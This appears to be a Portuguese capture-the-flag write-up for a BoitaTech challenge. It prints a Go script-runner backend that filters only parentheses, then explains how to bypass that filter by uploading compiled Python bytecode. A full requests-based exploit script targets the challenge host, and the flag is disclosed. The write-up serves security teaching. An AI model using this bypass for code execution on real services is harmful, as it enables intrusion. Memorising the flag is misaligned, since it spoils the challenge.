Após uma verificação do time de profissionais appsec da boitatech, chegamos na conclusão que o código feito pelo luskabol tá seguro! Já que você é um hacker trevoso do underground, você pode verificar se tem como pwnear a nossa aplicação?
BOITA{BR0_WTF_tH3R3_1S_4_W4Y_T0_ExECVt3_pytHoN_with0u7_p4r3nth3s1s?}
O desafio nos fornece um código backend de uma aplicação em Go.
package main
import (
"fmt"
"github.com/gin-gonic/gin"
"path"
"net/http"
"io/ioutil"
"os"
"os/exec"
"strings"
)
func createScriptsFolder() {
// create a folder called scripts
// if it already exists, do nothing
if _, err := os.Stat("./scripts"); os.IsNotExist(err) {
os.Mkdir("./scripts", 0777)
}
return
}
func saveScript(c *gin.Context) {
scriptBody := c.PostForm("scriptBody")
// Remove the parenthesis from the script, this is a security measure
if strings.Contains(scriptBody, "("){
c.String(http.StatusOK, "The script contains parenthesis")
return
}
scriptName := c.PostForm("scriptName")
ioutil.WriteFile("./scripts/" + path.Join("/", scriptName + ".py"), []byte(scriptBody), 0777)
return
}
func getScript(c *gin.Context) {
scriptName := c.Query("script")
if scriptName == "" {
c.String(http.StatusOK, "No script name was provided")
return
}
script, err := ioutil.ReadFile("./scripts/" + path.Join("/", scriptName + ".py"))
if err != nil {
fmt.Println(err)
return
}
c.String(http.StatusOK, string(script))
return
}
func executeScript(c *gin.Context) {
scriptName := c.Query("script")
if scriptName == "" {
c.String(http.StatusOK, "No script name was provided")
return
}
cmd := exec.Command("python3", "./scripts/" + path.Join("/", scriptName + ".py"))
stdout, err := cmd.Output()
if err != nil {
fmt.Println(err)
return
}
c.String(http.StatusOK, string(stdout))
return
}
func main() {
r := gin.Default()
// create the scripts folder
createScriptsFolder()
r.POST("/saveScript", saveScript)
r.GET("/getScript", getScript)
r.GET("/executeScript", executeScript)
r.Run(":8080")
}
Em uma primeira análise, podemos podemos upar e executar códigos em Python. Entretanto, existe uma restrição POST pelo endpoint /saveScript
, com os parâmetros scriptBody
como o código Python em questão e scriptName
como o nome do script que será salvo.
Entretanto, é possível perceber que o trecho de código,
// Remove the parenthesis from the script, this is a security measure
if strings.Contains(scriptBody, "("){
c.String(http.StatusOK, "The script contains parenthesis")
return
}
acaba por remover todos os parênteses do nosso script, o que torna a chamada de funções impossível.
Entretanto, para contornar esse problema, é possível compilar um código Python, que não necessariamente possuí (
. Construindo um script simples para conseguir a flag, podemos fazer algo do gênero:
import os
os.system("cat flag.txt")
e compilar com o comando,
python3 -m compileall
geramos um binário do nosso script com uma extensão .pyc
e, para executar, podemos utilizar o comando:
python3 compiled.pyc
Dessa forma, o script compilado será executado pelo Python. Entretanto, pode-se aparentar que temos que contornar o problema da sobrescrita de extensão ocasionada pelo trecho da API,
scriptName := c.PostForm("scriptName")
ioutil.WriteFile("./scripts/" + path.Join("/", scriptName + ".py"), []byte(scriptBody), 0777)
só que o Python não se comporta exatamente dessa maneira. O binário do Python executando o comando gerado pelo executeScript
em
cmd := exec.Command("python3", "./scripts/" + path.Join("/", scriptName + ".py"))
irá interpretar somente a primeira extensão .pyc
e ignorar completamente a extensão .py
, assim, executando o nosso payload. Assim, podemos enviar o payload através do código abaixo:
import requests,random
parameters = {
"scriptName": f"script{random.randint(1, 9999999)}.pyc",
"scriptBody": open("./bla", "rb").read()
}
print("ENVIANDO SCRIPT:")
res = requests.post("https://python3-7jktu72cma-uc.a.run.app/saveScript", data=parameters)
print(res.status_code)
print("================")
print("CHECANDO ENVIO SCRIPT:")
res = requests.get("https://python3-7jktu72cma-uc.a.run.app/getScript?script="+parameters['scriptName'])
print(res.text)
print("================")
print("CHECANDO EXECUÇÃO SCRIPT:")
res = requests.get("https://python3-7jktu72cma-uc.a.run.app/executeScript?script="+parameters['scriptName'])
print(res.text)
print("================")
Ao final da execução, temos a flag.